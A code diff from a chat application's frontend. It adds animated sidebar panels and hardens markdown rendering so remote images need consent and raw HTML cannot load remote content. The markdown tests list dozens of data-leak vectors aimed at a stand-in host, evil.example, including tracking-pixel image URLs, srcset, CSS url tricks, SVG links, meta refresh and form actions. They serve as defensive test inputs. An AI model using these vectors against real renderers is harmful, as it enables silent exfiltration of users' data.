   import TileLeaf from "./TileLeaf.svelte";
 
   let {
@@ -38,45 +46,122 @@
   // appear in the dropdowns. Reactive so late registrations re-render options.
   const panelViews = $derived($viewRegistry.filter((v) => v.panelEligible));
   const addView = $derived(firstPanelView(panelViews));
+
+  // Stable per-panel keys (pure reconcile, memoised across tree updates) so a
+  // closed panel is the one that animates out, not whichever is last.
+  // A local ✕ click hints WHICH panel left (consumed by the next tree change;
+  // ignored if that change isn't exactly this removal, e.g. a remote edit).
+  let keyMemo: PanelKeys | null = null;
+  let removeHint: number | undefined;
+  const keyed = $derived.by(() => {
+    const views = node.panels.map((p) => p.view);
+    keyMemo =
+      keyMemo === null ? initialPanelKeys(views) : reconcilePanelKeys(keyMemo, views, removeHint);
+    removeHint = undefined;
+    return keyMemo;
+  });
+
+  function removePanel(idx: number): void {
+    removeHint = idx;
+    onEdit([removePanelOp(path, idx)]);
+  }
+
+  // View SWAP: the panel BOX (the well) animates from the old view's height
+  // to the new one's. Measure before the DOM updates, animate after. (Adds/removes are
+  // the per-panel in:/out: transitions below.)
+  let columnEl = $state<HTMLDivElement | undefined>();
+  /** The keys the DOM currently shows (set after each update). */
+  let shownKeys: PanelKeys | null = null;
+  let before: { keys: PanelKeys; heights: Map<number, number> } | null = null;
+  $effect.pre(() => {
+    const next = keyed;
+    untrack(() => {
+      const heights = new Map<number, number>();
+      for (const el of panelEls()) {
+        const well = wellOf(el);
+        if (well !== null) heights.set(Number(el.dataset.panelKey), well.offsetHeight);
+      }
+      before = { keys: shownKeys ?? next, heights };
+    });
+  });
+  $effect(() => {
+    const now = keyed;
+    untrack(() => {
+      const prev = before;
+      before = null;
+      shownKeys = now;
+      if (prev === null) return;
+      for (const key of swappedPanels(prev.keys, now).keys()) {
+        const el = panelEls().find((e) => Number(e.dataset.panelKey) === key);
+        const well = el === undefined ? null : wellOf(el);
+        const from = prev.heights.get(key);
+        if (well !== null && from !== undefined) morphPanelHeight(well, from);
+      }
+    });
+  });
+
+  function wellOf(panel: HTMLElement): HTMLElement | null {
+    return panel.querySelector<HTMLElement>(":scope > [data-panel-well]");
+  }
+
+  function panelEls(): HTMLElement[] {
+    return columnEl === undefined
+      ? []
+      : [...columnEl.querySelectorAll<HTMLElement>(":scope > [data-panel-key]")];
+  }
 </script>
 
 <!-- `shrink-0`: this column is the sidebar's SCROLLED content, so it keeps its
      natural height — if it shrank to the scroller (min-h-0 in a flex column),
      its children overflowed it and the trailing margin was never scrollable. -->
+<!-- No flex `gap`: each panel's wrapper carries the gap as `pb-2` instead, so
+     it grows/shrinks WITH the panel's height animation (a flex gap would jump). -->
 <div
-  class="flex min-h-0 shrink-0 flex-col gap-2"
+  bind:this={columnEl}
+  class="flex min-h-0 shrink-0 flex-col"
   style={renderMarker ? markerStyle(node.marker) : undefined}
+  data-panels
 >
-  {#each node.panels as panel, idx (idx)}
-    <!-- `.inset-well` (app.css): recessed into the sidebar, like the chat's
-         thinking/tool blocks. -->
-    <div class="inset-well flex flex-col p-3">
-      <div class="flex items-center gap-1">
-        <select
-          class="select select-bordered select-sm flex-1"
-          aria-label="Select a view"
-          value={panel.view}
-          onchange={(e) => onEdit([swapPanelOp(path, idx, e.currentTarget.value)])}
-        >
-          <option value="" disabled>Select a view</option>
-          {#each panelViews as view (view.id)}
-            <option value={view.id}>{view.label}</option>
-          {/each}
-        </select>
-        {#if idx > 0}
-          <button
-            type="button"
-            class="btn btn-square btn-ghost btn-sm shrink-0"
-            aria-label="Remove view"
-            onclick={() => onEdit([removePanelOp(path, idx)])}
+  {#each node.panels as panel, idx (keyed.keys[idx])}
+    <!-- Add/close animate the WRAPPER's height (it carries the inter-panel gap,
+         so panels below slide smoothly); a view swap animates the WELL's
+         height. Either way only a height is tweened (clipped) — the contents
+         keep their natural size. `.inset-well` (app.css): recessed into the
+         sidebar, like the chat's thinking/tool blocks. -->
+    <div
+      class="shrink-0 pb-2"
+      data-panel-key={keyed.keys[idx]}
+      in:panelGrowIn
+      out:panelShrinkOut
+    >
+      <div class="inset-well flex flex-col p-3" data-panel-well>
+        <div class="flex items-center gap-1">
+          <select
+            class="select select-bordered select-sm flex-1"
+            aria-label="Select a view"
+            value={panel.view}
+            onchange={(e) => onEdit([swapPanelOp(path, idx, e.currentTarget.value)])}
           >
-            ✕
-          </button>
-        {/if}
-      </div>
+            <option value="" disabled>Select a view</option>
+            {#each panelViews as view (view.id)}
+              <option value={view.id}>{view.label}</option>
+            {/each}
+          </select>
+          {#if idx > 0}
+            <button
+              type="button"
+              class="btn btn-square btn-ghost btn-sm shrink-0"
+              aria-label="Remove view"
+              onclick={() => removePanel(idx)}
+            >
+              ✕
+            </button>
+          {/if}
+        </div>
 
-      <div class="mt-2">
-        <TileLeaf node={panel} {ports} />
+        <div class="mt-2">
+          <TileLeaf node={panel} {ports} />
+        </div>
       </div>
     </div>
   {/each}
@@ -85,8 +170,9 @@
     <!-- `.raised-btn` (app.css): the mirror of the view wells above it —
          pops out where they sink in; pressed, it sinks in like them. Height =
          DaisyUI's default button size (`--size-field` × 10), as the `btn` it
-         replaced; `shrink-0` so the column can never squash it. `mb-2` = the
-         gap between views (`gap-2`), so it doesn't sit tight to the end. -->
+         replaced; `shrink-0` so the column can never squash it. The last panel's
+         `pb-2` is the gap above it; `mb-2` = the same gap below, so it
+         doesn't sit tight to the end. -->
     <button
       type="button"
       class="raised-btn mb-2 h-[calc(var(--size-field,0.25rem)*10)] w-full shrink-0"
diff --git a/src/features/layout/ui/TileRoot.test.ts b/src/features/layout/ui/TileRoot.test.ts
index 2f95854..4b404a1 100644
--- a/src/features/layout/ui/TileRoot.test.ts
+++ b/src/features/layout/ui/TileRoot.test.ts
@@ -1,6 +1,7 @@
 import type { LayoutTree, SplitNode } from "@dispatch/layout-contract";
 import { render, screen } from "@testing-library/svelte";
 import userEvent from "@testing-library/user-event";
+import { gsap } from "gsap";
 import { describe, expect, it, vi } from "vitest";
 import { createCollapseStore, registerView, unregisterView } from "../index";
 import FixtureA from "./fixtures/FixtureA.svelte";
@@ -271,7 +272,7 @@ describe("TileRoot", () => {
     const { container } = render(TileRoot, {
       props: { tree: markedTestTree(), collapse: createCollapseStore({ viewportWidth: 1024 }) },
     });
-    const panels = container.querySelector("[data-testid='fixture-b']")?.closest(".gap-2");
+    const panels = container.querySelector("[data-testid='fixture-b']")?.closest("[data-panels]");
     expect(panels?.getAttribute("style") ?? "").not.toContain("outline");
   });
 
@@ -341,3 +342,53 @@ describe("TileRoot registry cleanup", () => {
     }
   });
 });
+
+describe("TilePanels — panel identity + height animation", () => {
+  const wrappers = (): HTMLElement[] => [
+    ...document.querySelectorAll<HTMLElement>("[data-panels] > [data-panel-key]"),
+  ];
+
+  it("closing the MIDDLE panel removes that panel's DOM, keeping the others' nodes", async () => {
+    const { rerender } = render(TileRoot, {
+      props: { tree: panelsOnlyTree("fix-b", "fix-a", "fix-b"), collapse: createCollapseStore() },
+    });
+    const [first, , third] = wrappers();
+    await rerender({ tree: panelsOnlyTree("fix-b", "fix-b"), collapse: createCollapseStore() });
+    // Identity, not position: the third panel's node survived (index keying
+    // would have reused the middle node and dropped the last one).
+    expect(wrappers()).toEqual([first, third]);
+    expect(screen.queryByTestId("fixture-a")).toBeNull();
+  });
+
+  it("✕ on one of two IDENTICAL views removes exactly that panel", async () => {
+    const user = userEvent.setup();
+    const tree = panelsOnlyTree("fix-b", "fix-a", "fix-a");
+    const { rerender } = render(TileRoot, { props: { tree, collapse: createCollapseStore() } });
+    const [first, , third] = wrappers();
+    // Click the MIDDLE panel's ✕ (the first panel has none), then the owner
+    // applies the edit — the two fix-a panels are indistinguishable by data.
+    const [middleClose] = screen.getAllByRole("button", { name: "Remove view" });
+    await user.click(middleClose as HTMLElement);
+    await rerender({ tree: panelsOnlyTree("fix-b", "fix-a"), collapse: createCollapseStore() });
+    expect(wrappers()).toEqual([first, third]);
+  });
+
+  it("with motion allowed, a closed panel stays in flow while it shrinks out", async () => {
+    vi.stubGlobal(
+      "matchMedia",
+      vi.fn(() => ({ matches: false }) as unknown as MediaQueryList),
+    );
+    try {
+      const { rerender } = render(TileRoot, {
+        props: { tree: panelsOnlyTree("fix-b", "fix-a"), collapse: createCollapseStore() },
+      });
+      const closing = wrappers()[1];
+      await rerender({ tree: panelsOnlyTree("fix-b"), collapse: createCollapseStore() });
+      // jsdom's stubbed Element.animate never finishes, so the outro holds.
+      expect(closing?.isConnected).toBe(true);
+      expect(gsap.getTweensOf(closing as HTMLElement)).toHaveLength(1);
+    } finally {
+      vi.unstubAllGlobals();
+    }
+  });
+});
diff --git a/src/features/layout/ui/panel-motion.ts b/src/features/layout/ui/panel-motion.ts
new file mode 100644
index 0000000..7fc5edf
--- /dev/null
+++ b/src/features/layout/ui/panel-motion.ts
@@ -0,0 +1,83 @@
+import { gsap } from "gsap";
+import type { TransitionConfig } from "svelte/transition";
+
+/**
+ * GSAP height animations for sidebar panels — the DOM EFFECT half (stable
+ * panel identity lives in `../logic/panel-keys.ts`).
+ *
+ * Every animation changes ONLY the panel wrapper's height (clipped with
+ * `overflow: hidden`); the panel's contents keep their natural size the whole
+ * time — the wrapper reveals / hides them like a drawer, it never scales
+ * them. The wrapper's bottom padding is the gap between panels, so it grows /
+ * shrinks with the panel and the panels below slide smoothly.
+ *
+ *  - `panelGrowIn`  — Svelte `in:` transition: an added panel grows 0 → auto.
+ *  - `panelShrinkOut` — Svelte `out:` transition: a closed panel shrinks to 0
+ *    while staying in flow (Svelte keeps the node for the returned duration).
+ *  - `morphPanelHeight` — a swapped view: the panel BOX (the well, so its
+ *    edges move with it — no empty gap below a shrinking box) animates from
+ *    the old view's height to the new one's.
+ *
+ * Svelte's `in:` does not run on first mount, so loading the page never
+ * animates. Disabled when the user prefers reduced motion (or the
+ * environment can't tell, e.g. jsdom) — then every change is instant.
+ */
+
+const DURATION = 0.35;
+const EASE = "power2.inOut";
+
+export function panelMotionAllowed(): boolean {
+  return (
+    typeof window !== "undefined" &&
+    typeof window.matchMedia === "function" &&
+    !window.matchMedia("(prefers-reduced-motion: reduce)").matches
+  );
+}
+
+export function panelGrowIn(node: HTMLElement): TransitionConfig {
+  if (!panelMotionAllowed()) return { duration: 0 };
+  gsap.killTweensOf(node);
+  gsap.fromTo(
+    node,
+    { height: 0, overflow: "hidden" },
+    {
+      height: "auto",
+      duration: DURATION,
+      ease: EASE,
+      clearProps: "height,overflow",
+    },
+  );
+  return { duration: DURATION * 1000 };
+}
+
+export function panelShrinkOut(node: HTMLElement): TransitionConfig {
+  if (!panelMotionAllowed()) return { duration: 0 };
+  // e.g. closed mid-grow / mid-swap: shrink from wherever it is.
+  gsap.killTweensOf([node, ...node.querySelectorAll(":scope > *")]);
+  gsap.to(node, {
+    height: 0,
+    overflow: "hidden",
+    duration: DURATION,
+    ease: EASE,
+  });
+  return { duration: DURATION * 1000 };
+}
+
+/**
+ * Animate `node` from `fromHeight` (its height before the view swapped) to
+ * its new natural height. Call AFTER the DOM shows the new view.
+ */
+export function morphPanelHeight(node: HTMLElement, fromHeight: number): void {
+  if (!panelMotionAllowed()) return;
+  gsap.killTweensOf(node);
+  gsap.fromTo(
+    node,
+    { height: fromHeight, overflow: "hidden" },
+    {
+      height: "auto",
+      duration: DURATION,
+      ease: EASE,
+      clearProps: "height,overflow",
+    },
+  );
+}
diff --git a/src/features/markdown/logic/markdown.test.ts b/src/features/markdown/logic/markdown.test.ts
index 90f1938..f186da9 100644
--- a/src/features/markdown/logic/markdown.test.ts
+++ b/src/features/markdown/logic/markdown.test.ts
@@ -1,5 +1,12 @@
 import { describe, expect, it } from "vitest";
-import { renderMarkdown } from "./markdown";
+import { renderMarkdown, renderMarkdownTail } from "./markdown";
+import { advance, createStreamingMarkdown } from "./streaming-markdown";
+
+/** The single rendered `<img>` src, or null. */
+function imageSrc(html: string): string | null {
+  const doc = new DOMParser().parseFromString(html, "text/html");
+  return doc.querySelector("img")?.getAttribute("src") ?? null;
+}
 
 describe("renderMarkdown", () => {
   it("renders GFM markdown (headings, emphasis)", () => {
@@ -95,4 +102,271 @@ describe("renderMarkdown", () => {
   it("returns an empty string for empty input", () => {
     expect(renderMarkdown("")).toBe("");
   });
+
+  describe("remote images require consent", () => {
+    const image = { apiBase: "http://localhost:24203", cwd: "/work" };
+
+    it.each([
+      "![secret](https://evil.example/pixel?d=secret)",
+      "![secret](http://evil.example/pixel)",
+      "![secret](//evil.example/pixel)",
+      '<img src="https://evil.example/pixel" onerror="alert(1)">',
+      '<img src="//evil.example/pixel">',
+      '<img src="https:&#10;//evil.example/pixel">',
+      '<img src="/\\evil.example/pixel">',
+    ])("replaces %s with an inert, host-labelled button", (text) => {
+      const doc = new DOMParser().parseFromString(renderMarkdown(text, { image }), "text/html");
+      expect(doc.querySelector("img")).toBeNull();
+      const button = doc.querySelector("button.remote-image");
+      expect(button?.textContent).toBe("Load image from evil.example");
+      expect(button?.getAttribute("type")).toBe("button");
+      expect(button?.getAttribute("data-src")).toMatch(/^https?:\/\/evil\.example\//);
+      expect(button?.hasAttribute("onerror")).toBe(false);
+    });
+
+    it.each([
+      "/local-image?path=%2Ftmp%2Fa.png",
+      "data:image/png;base64,iVBORw0KGgo=",
+      `${window.location.origin}/image.png`,
+      "http://localhost:24203/images/conversation/image.png",
+    ])("keeps trusted image %s", (src) => {
+      expect(imageSrc(renderMarkdown(`<img src="${src}">`, { image }))).toBe(src);
+    });
+
+    it("compares exact origins, not hostname prefixes or URL credentials", () => {
+      for (const src of [
+        "http://localhost:24203.evil.example/a.png",
+        "http://localhost:[email protected]/a.png",
+        "http://localhost:24206/a.png",
+        "https://localhost:24203/a.png",
+      ]) {
+        expect(imageSrc(renderMarkdown(`<img src="${src}">`, { image }))).toBeNull();
+      }
+    });
+
+    it("does not leak a backend allowlist between renders", () => {
+      const text = "![pic](http://localhost:24203/a.png)";
+      expect(imageSrc(renderMarkdown(text, { image }))).not.toBeNull();
+      expect(imageSrc(renderMarkdown(text))).toBeNull();
+    });
+
+    it("removes responsive image sources so srcset cannot bypass consent", () => {
+      const html = renderMarkdown(
+        '<picture><source srcset="https://evil.example/a.png"><img src="/safe.png" srcset="https://evil.example/b.png 2x"></picture>',
+      );
+      expect(html).not.toContain("srcset");
+      expect(html).not.toContain("evil.example");
+    });
+
+    it("blocks images in streaming tails and settled prefixes too", () => {
+      const state = createStreamingMarkdown();
+      const text = "![pic](https://evil.example/pixel)";
+      expect(imageSrc(renderMarkdownTail(text))).toBeNull();
+      expect(advance(state, text).tailHtml).toContain("remote-image");
+      const settled = advance(state, `${text}\n\nafter\n`);
+      expect(settled.prefixHtml).toContain("remote-image");
+      expect(imageSrc(settled.prefixHtml)).toBeNull();
+    });
+
+    it("does not affect other DOMPurify consumers", async () => {
+      const { default: purify } = await import("dompurify");
+      expect(imageSrc(purify.sanitize('<img src="https://evil.example/a.png">'))).not.toBeNull();
+    });
+  });
+
+  describe("raw HTML cannot load remote content outside image consent", () => {
+    const remote = "https://evil.example/beacon";
+    const vectors = [
+      ["video poster", `<video poster="${remote}"></video>`, "video"],
+      ["video src", `<video src="${remote}" autoplay></video>`, "video"],
+      ["audio src", `<audio src="${remote}" preload="auto"></audio>`, "audio"],
+      ["source src", `<video><source src="${remote}"></video>`, "source"],
+      ["source srcset", `<picture><source srcset="${remote} 2x"></picture>`, "source"],
+      ["track src", `<video><track src="${remote}" default></video>`, "track"],
+      ["image input", `<input type="image" src="${remote}">`, "input"],
+      ["input src without type", `<input src="${remote}">`, "input"],
+      ["inline background", `<div style="background-image:url(${remote})">text</div>`, "[style]"],
+      ["inline CSS escape", `<p style="background: u\\72l(${remote})">text</p>`, "[style]"],
+      [
+        "inline image-set",
+        `<span style="background:image-set('${remote}' 1x)">text</span>`,
+        "[style]",
+      ],
+      ["style import", `<style>@import '${remote}';</style>`, "style"],
+      ["SVG image href", `<svg><image href="${remote}" /></svg>`, "svg,image"],
+      ["SVG image xlink", `<svg><image xlink:href="${remote}" /></svg>`, "svg,image"],
+      ["SVG use href", `<svg><use href="${remote}#x" /></svg>`, "svg,use"],
+      ["SVG use xlink", `<svg><use xlink:href="${remote}#x" /></svg>`, "svg,use"],
+      ["SVG filter", `<svg><filter><feImage href="${remote}" /></filter></svg>`, "svg,feImage"],
+      ["MathML", `<math href="${remote}"><mi>x</mi></math>`, "math"],
+      [
+        "table background",
+        `<table background="${remote}"><tr><td>x</td></tr></table>`,
+        "[background]",
+      ],
+      [
+        "td background",
+        `<table><tr><td background="${remote}">x</td></tr></table>`,
+        "[background]",
+      ],
+      ["body background", `<body background="${remote}">x</body>`, "[background]"],
+      ["object data", `<object data="${remote}"></object>`, "object"],
+      ["embed src", `<embed src="${remote}">`, "embed"],
+      ["embed data", `<embed data="${remote}">`, "embed"],
+      ["form action", `<form action="${remote}"><button>go</button></form>`, "form,[action]"],
+      ["button formaction", `<button formaction="${remote}">go</button>`, "[formaction]"],
+      ["input formaction", `<input type="submit" formaction="${remote}">`, "input,[formaction]"],
+      ["stylesheet link", `<link rel="stylesheet" href="${remote}">`, "link"],
+      ["preload link", `<link rel="preload" as="image" href="${remote}">`, "link"],
+      ["prefetch link", `<link rel="prefetch" href="${remote}">`, "link"],
+      ["DNS prefetch", `<link rel="dns-prefetch" href="//evil.example">`, "link"],
+      ["meta refresh", `<meta http-equiv="refresh" content="0;url=${remote}">`, "meta"],
+      ["iframe src", `<iframe src="${remote}"></iframe>`, "iframe"],
+      [
+        "iframe srcdoc",
+        `<iframe srcdoc="&lt;img src='${remote}'&gt;"></iframe>`,
+        "iframe,[srcdoc]",
+      ],
+      ["base URL", `<base href="${remote}/"><img src="/safe.png">`, "base"],
+      ["script src", `<script src="${remote}"></script>`, "script"],
+      ["anchor ping", `<a href="/safe" ping="${remote}">link</a>`, "[ping]"],
+      ["legacy command", `<command icon="${remote}">`, "command"],
+      ["legacy applet", `<applet codebase="${remote}" archive="x.jar"></applet>`, "applet"],
+      ["non-image src", `<div src="${remote}" href="${remote}">text</div>`, "[src],[href]"],
+    ] as const;
+
+    // Inspect the returned DOM, not jsdom's lack of resource fetching. Both
+    // authoritative renders and streaming tails must remove each active sink.
+    describe.each([
+      ["full", renderMarkdown],
+      ["tail", renderMarkdownTail],
+    ] as const)("%s render", (_name, render) => {
+      it.each(vectors)("neutralizes %s", (_vector, text, forbidden) => {
+        const doc = new DOMParser().parseFromString(render(text), "text/html");
+        expect(doc.querySelector(forbidden)).toBeNull();
+        for (const element of doc.body.querySelectorAll("*")) {
+          for (const attr of element.attributes) {
+            if (attr.name === "href" && element.tagName === "A") continue;
+            expect(attr.value).not.toContain("evil.example");
+          }
+        }
+      });
+    });
+
+    it("also blocks all vectors in settled streaming prefixes", () => {
+      for (const [_name, text, forbidden] of vectors) {
+        const state = createStreamingMarkdown();
+        advance(state, `${text}\n\ntail`);
+        const result = advance(state, `${text}\n\ntail grows`);
+        const doc = new DOMParser().parseFromString(
+          result.prefixHtml + result.tailHtml,
+          "text/html",
+        );
+        expect(doc.querySelector(forbidden)).toBeNull();
+      }
+    });
+
+    it("retains passive Markdown structure, highlighting and disabled task checkboxes", () => {
+      const html = renderMarkdown(
+        "- [x] done\n- [ ] pending\n\n| A | B |\n| - | - |\n| x | y |\n\n```js\nconst x = 1;\n```",
+      );
+      const doc = new DOMParser().parseFromString(html, "text/html");
+      expect(doc.querySelectorAll('input[type="checkbox"][disabled]')).toHaveLength(2);
+      expect(doc.querySelector("input[checked]")).not.toBeNull();
+      expect(doc.querySelectorAll("td")).toHaveLength(2);
+      expect(doc.querySelector(".hljs-keyword")).not.toBeNull();
+      expect(doc.querySelector('button[data-copy][type="button"]')).not.toBeNull();
+    });
+
+    it("makes raw checkboxes and buttons inert, even inside an outer form", () => {
+      const doc = new DOMParser().parseFromString(
+        renderMarkdown('<input type="checkbox"><button type="submit">go</button>'),
+        "text/html",
+      );
+      expect(doc.querySelector("input")?.hasAttribute("disabled")).toBe(true);
+      expect(doc.querySelector("button")?.getAttribute("type")).toBe("button");
+    });
+
+    it("does not permit non-HTTP network schemes on images", () => {
+      expect(imageSrc(renderMarkdown('<img src="ftp://evil.example/beacon">'))).toBeNull();
+    });
+  });
+
+  describe("local-path images", () => {
+    const BASE = "http://localhost:24203";
+    const image = { apiBase: BASE, cwd: "/w/foo" };
+
+    it("rewrites a file:// URL to the backend image route", () => {
+      expect(imageSrc(renderMarkdown("![pic](file:///home/u/pic.png)", { image }))).toBe(
+        `${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`,
+      );
+    });
+
+    it("rewrites an absolute path; an empty apiBase yields a root-relative src", () => {
+      expect(imageSrc(renderMarkdown("![pic](/home/u/pic.png)", { image: { apiBase: "" } }))).toBe(
+        "/local-image?path=%2Fhome%2Fu%2Fpic.png",
+      );
+      expect(imageSrc(renderMarkdown("![pic](/home/u/pic.png)", { image }))).toBe(
+        `${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`,
+      );
+    });
+
+    it("resolves a relative path against the conversation cwd", () => {
+      expect(imageSrc(renderMarkdown("![shot](shot.png)", { image }))).toBe(
+        `${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`,
+      );
+      expect(
+        imageSrc(renderMarkdown("![shot](shot.png)", { image: { apiBase: BASE, cwd: "/w/foo/" } })),
+      ).toBe(`${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`);
+    });
+
+    it("leaves a relative path untouched when no cwd is available", () => {
+      expect(imageSrc(renderMarkdown("![shot](shot.png)", { image: { apiBase: BASE } }))).toBe(
+        "shot.png",
+      );
+      expect(imageSrc(renderMarkdown("![shot](shot.png)", { image }))).toBe(
+        `${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`,
+      );
+      expect(imageSrc(renderMarkdown("![shot](shot.png)"))).toBe("shot.png");
+    });
+
+    it("leaves data: images untouched", () => {
+      const data = "data:image/png;base64,iVBORw0KGgo=";
+      expect(imageSrc(renderMarkdown(`![inline](${data})`, { image }))).toBe(data);
+    });
+
+    it("does not rewrite image syntax inside fenced code", () => {
+      const html = renderMarkdown("```md\n![pic](/home/u/pic.png)\n```", { image });
+      expect(html).toContain("/home/u/pic.png");
+      expect(html).not.toContain("/local-image");
+    });
+
+    it("rewrites the streaming tail, the settled prefix, and a seeded tail", () => {
+      const state = createStreamingMarkdown();
+      const tail = advance(state, "![pic](/home/u/pic.png)", { image });
+      expect(imageSrc(tail.tailHtml)).toBe(`${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`);
+
+      // The settled prefix must render with the same options too.
+      const settled = advance(state, "![pic](/home/u/pic.png)\n\nnext\n", { image });
+      expect(imageSrc(settled.prefixHtml)).toBe(`${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`);
+
+      const seeded = renderMarkdownTail(
+        "![shot](shot.png)",
+        { fences: 0, bold: 0, code: 0 },
+        {
+          image,
+        },
+      );
+      expect(imageSrc(seeded)).toBe(`${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`);
+    });
+
+    it("invalidates the streaming cache when the image options change (async cwd)", () => {
+      const state = createStreamingMarkdown();
+      const text = "![shot](shot.png)\n\nnext\n";
+      advance(state, text);
+      expect(imageSrc(state.prefixHtml)).toBe("shot.png"); // no cwd yet
+      const updated = advance(state, text, { image });
+      expect(imageSrc(updated.prefixHtml)).toBe(`${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`);
+    });
+  });
 });
diff --git a/src/features/markdown/logic/markdown.ts b/src/features/markdown/logic/markdown.ts
index fd6caf9..ed287d2 100644
--- a/src/features/markdown/logic/markdown.ts
+++ b/src/features/markdown/logic/markdown.ts
@@ -36,6 +36,7 @@ import xml from "highlight.js/lib/languages/xml";
 import yaml from "highlight.js/lib/languages/yaml";
 import { Marked } from "marked";
 import { markedHighlight } from "marked-highlight";
+import { resolveImageUrl } from "../../../core/chunks";
 
 // Hot set: registered eagerly so common code blocks highlight on first paint.
 const HOT_LANGUAGES: Record<string, LanguageFn> = {
@@ -184,33 +185,257 @@ function addCopyButtons(html: string): string {
     .replace(/<\/pre>/g, "</pre></div>");
 }
 
+// Positive policy: chat HTML is passive Markdown structure, not arbitrary web
+// content. New browser elements/attributes must not silently add fetch sinks.
+// In particular there is no CSS, SVG/MathML, media, form, embed or metadata.
+const MARKDOWN_TAGS = [
+  "a",
+  "abbr",
+  "b",
+  "blockquote",
+  "br",
+  "caption",
+  "code",
+  "col",
+  "colgroup",
+  "dd",
+  "del",
+  "details",
+  "div",
+  "dl",
+  "dt",
+  "em",
+  "h1",
+  "h2",
+  "h3",
+  "h4",
+  "h5",
+  "h6",
+  "hr",
+  "i",
+  "img",
+  "kbd",
+  "li",
+  "mark",
+  "ol",
+  "p",
+  "pre",
+  "q",
+  "rp",
+  "rt",
+  "ruby",
+  "s",
+  "samp",
+  "small",
+  "span",
+  "strong",
+  "sub",
+  "summary",
+  "sup",
+  "table",
+  "tbody",
+  "td",
+  "tfoot",
+  "th",
+  "thead",
+  "tr",
+  "u",
+  "ul",
+  "var",
+  "wbr",
+  "button",
+  "input",
+];
+const MARKDOWN_ATTRIBUTES = [
+  "alt",
+  "align",
+  "checked",
+  "class",
+  "colspan",
+  "disabled",
+  "height",
+  "href",
+  "open",
+  "reversed",
+  "rowspan",
+  "scope",
+  "src",
+  "start",
+  "title",
+  "type",
+  "width",
+];
+
 /**
- * A DEDICATED DOMPurify instance (not the shared default export) so the
- * link hook below only applies to chat Markdown, never to any other sanitizer
- * user. Every link opens in a NEW TAB: after DOMPurify has allowlisted the
- * attributes, each `<a href>` gets `target="_blank"` + `rel="noopener
- * noreferrer"` (the opened page can't reach `window.opener` or see a referrer).
- * Applied in the hook, so it covers marked links, autolinks, AND raw-HTML
- * anchors alike — and the hook overwrites any author-supplied target/rel.
+ * A dedicated, render-local DOMPurify instance: hooks never affect another
+ * consumer or retain a conversation's backend allowlist. The document base is
+ * part of the sanitizer's existing DOM dependency; no location/state is cached.
  */
-const purify = DOMPurify();
-purify.addHook("afterSanitizeAttributes", (node) => {
-  if (node.tagName === "A" && node.hasAttribute("href")) {
-    node.setAttribute("target", "_blank");
-    node.setAttribute("rel", "noopener noreferrer");
+function sanitize(html: string, image?: MarkdownImageOptions): string {
+  const purify = DOMPurify();
+  const base = document.baseURI;
+  const origin = new URL(base).origin;
+  const backendOrigin = image === undefined ? origin : new URL(image.apiBase || base, base).origin;
+  purify.addHook("uponSanitizeElement", (node) => {
+    // Keep GFM task lists, but no image/submit/other form controls. Removing
+    // only type/src would allow browser defaulting or later attribute changes.
+    if (
+      node.nodeName === "INPUT" &&
+      (node as Element).getAttribute("type")?.toLowerCase() !== "checkbox"
+    ) {
+      node.parentNode?.removeChild(node);
+    }
+  });
+  purify.addHook("afterSanitizeAttributes", (node) => {
+    // URL-bearing attributes are supported ONLY on these two HTML elements.
+    if (node.tagName !== "A") node.removeAttribute("href");
+    if (node.tagName !== "IMG") node.removeAttribute("src");
+    if (node.tagName === "INPUT") node.setAttribute("disabled", "");
+    if (node.tagName === "BUTTON") node.setAttribute("type", "button");
+    if (node.tagName === "A" && node.hasAttribute("href")) {
+      node.setAttribute("target", "_blank");
+      node.setAttribute("rel", "noopener noreferrer");
+    }
+    if (node.tagName !== "IMG") return;
+    const src = node.getAttribute("src");
+    if (src === null) return;
+    let url: URL;
+    try {
+      url = new URL(src, base);
+    } catch {
+      node.removeAttribute("src");
+      return;
+    }
+    if (url.protocol === "data:") return; // Image context cannot load subresources.
+    if (url.protocol !== "http:" && url.protocol !== "https:") {
+      node.removeAttribute("src");
+      return;
+    }
+    if (url.origin === origin || url.origin === backendOrigin) return;
+
+    // Only safe, inert attributes are carried over. In particular, never copy
+    // srcset or author event handlers to the image created after consent.
+    const button = node.ownerDocument.createElement("button");
+    button.setAttribute("type", "button");
+    button.setAttribute("class", "remote-image btn btn-sm");
+    button.setAttribute("data-src", url.href);
+    button.setAttribute("data-alt", node.getAttribute("alt") ?? "");
+    const title = node.getAttribute("title");
+    if (title !== null) button.setAttribute("data-title", title);
+    button.textContent = `Load image from ${url.host}`;
+    node.parentNode?.replaceChild(button, node);
+  });
+  return purify.sanitize(html, {
+    ALLOWED_TAGS: MARKDOWN_TAGS,
+    ALLOWED_ATTR: MARKDOWN_ATTRIBUTES,
+    // Keep consent/copy data and accessibility labels, never active URL sinks
+    // such as srcset, style, background, ping, action or namespaced href.
+    ALLOW_DATA_ATTR: true,
+    ALLOW_ARIA_ATTR: true,
+  });
+}
+
+/**
+ * Per-conversation context for rendering local-path images inline. `apiBase`
+ * is the backend HTTP base (may be `""` → a root-relative `/local-image?…`);
+ * `cwd` resolves RELATIVE Markdown image srcs against the conversation's
+ * working directory (the same machine the backend serves files from).
+ */
+export interface MarkdownImageOptions {
+  readonly apiBase: string;
+  readonly cwd?: string | null;
+}
+
+/** Render options shared by all three render paths. */
+export interface MarkdownRenderOptions {
+  /** Balance dangling delimiters while the message is still generating. */
+  readonly streaming?: boolean;
+  /** Rewrite local-path image srcs through the backend's `/local-image` route. */
+  readonly image?: MarkdownImageOptions;
+}
+
+/** Decode a URL-ish path, tolerating malformed `%` escapes. */
+function safeDecode(path: string): string {
+  try {
+    return decodeURIComponent(path);
+  } catch {
+    return path;
   }
-});
+}
 
-function sanitize(html: string): string {
-  return purify.sanitize(html);
+/**
+ * Rewrite one image `src` for the local-image feature. Pure: `input → output`.
+ *
+ * - `file:///path` → local absolute path (scheme stripped).
+ * - `/absolute/path` → local absolute path.
+ * - a relative path (no scheme, no leading `/`) → joined to the conversation
+ *   `cwd` (no `cwd` → left untouched).
+ * - `http(s)://…`, `data:`, and any other scheme → left untouched.
+ *
+ * Local paths become `${apiBase}/local-image?path=<encoded>`, reusing
